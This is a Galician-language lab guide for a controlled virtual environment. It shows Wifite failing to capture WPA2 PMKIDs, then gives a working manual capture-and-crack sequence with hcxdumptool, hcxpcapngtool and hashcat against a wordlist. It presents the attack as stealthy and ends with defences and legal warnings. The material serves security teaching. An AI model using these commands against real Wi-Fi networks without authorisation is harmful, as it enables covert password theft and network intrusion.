Auditar contrasinal Wi-Fi WPA2 (PSK) mediante PMKID con Wifite
LIMITACIÓN DE RESPONSABILIDADE
O autor do presente documento declina calquera responsabilidade asociada ao uso incorrecto e/ou malicioso que puidese realizarse coa información exposta no mesmo. Este documento foi xerado para uso didáctico e debe ser empregado en contornas privadas e virtuais controladas co permiso correspondente do administrador desas contornas.
O uso de Wifite ou calquera outra ferramenta de auditoría en redes Wi-Fi sen autorización expresa é ILEGAL.
1. Resumo
Esta práctica introduce o ataque PMKID (Pairwise Master Key Identifier) como método alternativo para auditar redes WPA2-PSK utilizando Wifite como ferramenta automatizada.
AVISO CRÍTICO — LER ANTES DE COMEZAR
Wifite NON funciona para capturar PMKID. Este é un problema coñecido e documentado desde 2019, tanto en hardware real como en entornos simulados (mac80211_hwsim).
Esta práctica demostra como se usaría Wifite para PMKID (con fins educativos), pero o método NON funcionará. Para capturar PMKID realmente, usa o documento 1.3-ATAQUE_WPA2_PSK_PMKID, que explica o método manual con hcxdumptool.
2. Limitacións de Wifite con PMKID (ler primeiro)
Conclusión: Wifite NON funciona para capturar PMKID (problema coñecido desde 2019)
Issues oficiais documentados no repositorio de Wifite2:
- Issue #335 (Marzo 2021): "Failed to capture PMKID" — "With Hcxdumptool i can get PMKIDS easily. But Wifite could not capture PMKID" (hardware REAL, mesmo problema)
- Issue #253 (Xaneiro 2020): "Failed to capture PMKID on every ESSID" — "If I try using hcxdumptool I'm able to grab PMKID from networks all over, but wifite fails after timeout"
- Issue #188 (Xaneiro 2019): Timeout de PMKID aumentouse de 15s a 30s, pero segue fallando
O problema NON é exclusivo de mac80211_hwsim
| Ferramenta | Hardware real | mac80211_hwsim |
|---|---|---|
hcxdumptool directo |
✔ Funciona | ✔ Funciona |
| Wifite | ✗ NON funciona | ✗ NON funciona |
Por que o método manual funciona e Wifite non?
hcxdumptooldirectamente: interactúa directamente co driver → captura paquetes EAPOL correctamente- Wifite: usa
hcxdumptoolinternamente, pero a capa de abstracción introduce fallos que non teñen solución coñecida
Non hai solución coñecida
Os issues levan abertos desde 2019 sen solución. Actualizar Wifite non resolve o problema. A comunidade recomenda usar hcxdumptool directamente.
Saídas que verás cando Wifite falle
Situación 1: Wifite non detecta ferramentas
Situación 2: Wifite non captura PMKID (máis común)
[+] EMPRESA-XYZ (72db) PMKID CAPTURE: Waiting for PMKID (4m55s)
[+] EMPRESA-XYZ (72db) PMKID CAPTURE: Failed to capture PMKID
Solución
Usa o documento 1.3-ATAQUE_WPA2_PSK_PMKID co método manual con hcxdumptool directamente. Sempre funciona tanto en hardware real como en mac80211_hwsim.
3. Obxectivos de aprendizaxe
Aínda que Wifite NON funciona para PMKID, esta práctica demostra:
- Como se usaría Wifite para intentar capturar PMKID
- Por que falla e que saídas verás
- Que Wifite NON é unha ferramenta fiable para PMKID
- A importancia de coñecer as limitacións das ferramentas automatizadas
Vantaxes do PMKID sobre handshake tradicional (cando funciona co método manual):
- NON require desautenticación → cliente lexítimo NON se entera do ataque
- Captura en 15-30 segundos (máis rápida que handshake)
- NON require capturar 4 paquetes EAPOL (só 1 é suficiente)
- Moito menos intrusivo → cliente mantén conexión activa
4. Material necesario
Hardware/Software:
- Host alumnado · Máquina virtual GNU/Linux Kali amd64
- RAM ≥ 2048 MB · CPU ≥ 2 cores · PAE/NX habilitado
Ferramentas (xa instaladas en Kali):
wifite, hcxdumptool (≥ 7.0.0), hcxpcapngtool (parte de hcxtools), hashcat, hostapd, wpa_supplicant, mac80211_hwsim
Wordlist: /usr/share/wordlists/rockyou.txt.gz
Referencias:
- [0] 1-Taller-HE-Practica-WiFi-4.pdf
- [1] Wifite2 GitHub
- [2] Descubridor PMKID: Jens "atom" Steube (Agosto 2018)
- [3] Hashcat Forum — PMKID Attack
5. Escenario e topoloxía
| Rol | Interface | Namespace | IP | Estado tras wifilabctl up |
|---|---|---|---|---|
| AP WPA2-PSK | wlan0 |
wifi_ap_wlan0 |
192.168.10.1 |
✅ Automático |
| Cliente WPA2 | wlan1 |
wifi_cliente_wlan1 |
192.168.10.2 |
✅ Automático |
| Atacante (Wifite) | wlan2 |
(global) | — | ⏳ Interface libre |
| Monitor adicional | wlan3 |
(global) | — | ⏳ Interface libre |
SSID: EMPRESA-XYZ · Contrasinal: spongebob19 · Canal: 6
[wlan1: Cliente PSK] ----wireless----> [wlan0: AP WPA2-PSK]
^
|
[wlan2mon: Wifite / hcxdumptool]
(intento PMKID → falla con Wifite)
💡
wifilabctl up psklevanta automaticamente AP e cliente. As terminais son para demostración do fallo e análise, non para configuración manual.
6. Procedemento
Resumo de terminais:
| Terminal | Rol |
|---|---|
| 1 | Arrancar o escenario e verificacións |
| 2 | Demostración do fallo de Wifite con PMKID |
| 3 | Método manual con hcxdumptool que SÍ funciona (opcional) |
Terminal 1 — Arrancar o escenario
Saída esperada:
[*] Informe de Estado do Laboratorio
============================================================
NAMESPACE INTERFACE IP ESTADO
---------------------------------------------------------------------------
wifi_cliente_wlan1 wlan1 192.168.10.2/24 UP
wifi_ap_wlan0 wlan0 192.168.10.1/24 UP
---------------------------------------------------------------------------
Interfaces GLOBAIS / ATACANTE:
(global) wlan2 (host/monitor) LISTO
(global) wlan3 (host/monitor) LISTO
⚠️ O escenario
pské o mesmo da Práctica 1.1. Os valores de BSSID e MAC do cliente obtéñense consudo wifilabctl status.
Terminal 2 — Demostración do fallo de Wifite con PMKID
Abrir unha segunda terminal e seguir os pasos:
Paso 1: Acceder como root e verificar ferramentas
sudo su -
# Verificar que hcxdumptool está instalado (requirido por Wifite para PMKID)
which hcxdumptool && hcxdumptool --version
which hcxpcapngtool
# Se non están instalados:
apt update && apt -y install hcxdumptool hcxtools
# Descomprimir wordlist
gunzip -kf /usr/share/wordlists/rockyou.txt.gz
Paso 2: Lanzar Wifite con ataque PMKID
-i wlan2: interface a usar ·--pmkid: priorizar PMKID sobre handshake ·--dict: wordlist para cracking
Paso 3: Avisos de procesos en conflito — non matar
[!] Conflicting processes: NetworkManager (PID 642), wpa_supplicant (PID 1919),
hostapd (PID 2009), wpa_supplicant (PID 2024)
[!] If you have problems: kill -9 PID or re-run wifite with --kill
⚠️ Non matar eses procesos. Son o AP e o cliente do escenario. Ignorar e continuar.
Paso 4: Seleccionar a interface de ataque
Con mac80211_hwsim, Wifite pide seleccionar entre wlan2 e wlan3:
Interface PHY Driver Chipset
-----------------------------------------------------------------------
1. wlan2 phy2 ?????? non-mac80211 device? (report this!)
2. wlan3 phy3 ?????? non-mac80211 device? (report this!)
[+] Select wireless interface (1-2): 1
Introducir 1 e premer Enter.
💡 O aviso
non-mac80211 device?é normal con interfaces virtuais. Non impide o funcionamento.
Paso 5: Escaneo e selección do AP obxectivo
Wifite escaneará en modo monitor. Cando apareza EMPRESA-XYZ premer Ctrl+C:
NUM ESSID CH ENCR PWR WPS CLIENT
--- ------------------------- --- ----- ---- --- ------
1 EMPRESA-XYZ 6 WPA-P 72db no 1
Introducir 1 e premer Enter.
Paso 6: Ataque PMKID — FALLARÁ (resultado esperado)
Wifite tentará capturar o PMKID. Dependendo da instalación, verás un dos dous seguintes resultados:
Caso A — Wifite non detecta as ferramentas:
Caso B — Wifite non captura o PMKID (máis común):
[+] (1/1) Starting attacks against 06:FE:D8:7D:4F:43 (EMPRESA-XYZ)
[+] EMPRESA-XYZ (72db) PMKID CAPTURE: Waiting for PMKID (4m55s)
[+] EMPRESA-XYZ (72db) PMKID CAPTURE: Failed to capture PMKID
[+] Finished attacking 1 target(s), exiting
⚠️ RESULTADO ESPERADO: FALLO. Este é o comportamento documentado nos issues #335, #253 e #188 de Wifite2. Non hai nada mal na configuración do laboratorio — o problema é de Wifite.
Se Wifite pasa ao ataque de handshake tras o fallo PMKID, premer Ctrl+C e logo e para saír.
Terminal 1 — Verificacións tras o fallo
# Confirmar que o cliente permanece conectado (o ataque PMKID non o perturbou)
sudo ip netns exec wifi_cliente_wlan1 iw dev wlan1 link
# Connected to <BSSID_AP> (on wlan1)
# SSID: EMPRESA-XYZ
# Confirmar que NON hai ficheiros PMKID capturados por Wifite
ls -lh /root/hs/
# (vacío ou sen ficheiros .hc22000)
Terminal 3 — Método manual con hcxdumptool que SÍ funciona (opcional)
Para demostrar que o problema é de Wifite e non do entorno, hcxdumptool directamente SÍ captura o PMKID. Abrir unha terceira terminal:
sudo su -
# Poñer wlan3 en modo monitor
ip link set wlan3 down
iw dev wlan3 set type monitor
ip link set wlan3 up
# Obter o BSSID do AP (columna INTERFACE wlan0 en wifilabctl status)
# e convertelo a formato sen dous puntos: ex. 02:00:00:00:00:00 → 020000000000
sudo wifilabctl status
# Capturar PMKID directamente con hcxdumptool
hcxdumptool -i wlan3 -w /tmp/pmkid-manual.pcapng \
--filtermode=2 --filterlist_ap=<BSSID_SEN_DOUS_PUNTOS> \
-c 6 --rds=1
# Premer Ctrl+C despois de 30 segundos
# Converter a formato hashcat
hcxpcapngtool -o /tmp/pmkid-manual.hc22000 /tmp/pmkid-manual.pcapng
# Verificar que o PMKID foi capturado (debe mostrar datos)
cat /tmp/pmkid-manual.hc22000
# Crackear con hashcat
hashcat -m 22000 /tmp/pmkid-manual.hc22000 /usr/share/wordlists/rockyou.txt
# KEY FOUND! [ spongebob19 ]
💡 Este é o método correcto e completo documentado en 1.3-ATAQUE_WPA2_PSK_PMKID.
7. Comparativa PMKID vs Handshake Tradicional
| Característica | Práctica 1-1 (Handshake) | Práctica 1-3 (PMKID) |
|---|---|---|
| Desautenticación | ✗ Necesaria | ✅ NON necesaria |
| Paquetes a capturar | 4 (EAPOL 1/4 a 4/4) | 1 |
| Tempo de captura | Variable (minutos) | 15-60 segundos |
| Intrusividade | ALTA (cliente desconecta) | BAIXA (cliente non se entera) |
| Funciona con Wifite | ✅ Si | ✗ NON (issue coñecido 2019) |
| Funciona con método manual | ✅ Si | ✅ Si (hcxdumptool directo) |
Conclusión: PMKID é moito máis rápido e sigiloso (co método manual): - ✅ NON require clientes desconectados nin desautenticación forzada - ✅ Captura un só paquete (vs 4 do handshake tradicional) - ✅ Cliente NON se entera do ataque
8. Preguntas de reflexión
-
Por que foi posible capturar o PMKID co método manual?
- O PMKID envíase en texto claro no primeiro paquete EAPOL
- Deriva da PMK, que se calcula co contrasinal do AP → permite ataques offline
-
Que fai este ataque menos intrusivo que o handshake tradicional?
- NON require desautenticar ao cliente lexítimo
- Cliente mantén conexión activa durante todo o ataque
-
Como protexerse contra ataques PMKID?
- Contrasinal forte: ≥ 20 caracteres, aleatorio, non presente en wordlists
- Migrar a WPA3-SAE: inmune a ataques offline ao handshake (Práctica 3-1)
- Actualizar firmware do AP: versións modernas poden desactivar PMKID
-
É legal executar Wifite/hcxdumptool nunha rede real?
- NON, sen autorización expresa por escrito do propietario
- Só en ambientes controlados de laboratorio con permisos
-
Por que Wifite NON funciona para PMKID?
- Problema coñecido desde 2019 (Issues #335, #253, #188 de GitHub)
- Afecta tanto a hardware real como a
mac80211_hwsim - A capa de abstracción de Wifite introduce fallos que
hcxdumptooldirecto non ten - Usa sempre o método manual (1.3-ATAQUE_WPA2_PSK_PMKID)
-
Que facer se Wifite non captura PMKID?
- É o comportamento esperado — non hai solución para Wifite
- Usar
hcxdumptooldirectamente: sempre funciona
-
Por que o método manual funciona e Wifite non?
hcxdumptooldirectamente: interactúa co driver → funciona ✔- Wifite: a capa de abstracción introduce problemas → NON funciona ✗
- Confirmado pola comunidade en múltiples issues desde 2019
9. Limpeza do laboratorio
Terminal 1:
# Deter e eliminar o escenario completamente
sudo wifilabctl reset
# Verificar que non quedan namespaces
ip netns list
Terminal 3 (se se usou wlan3 en modo monitor):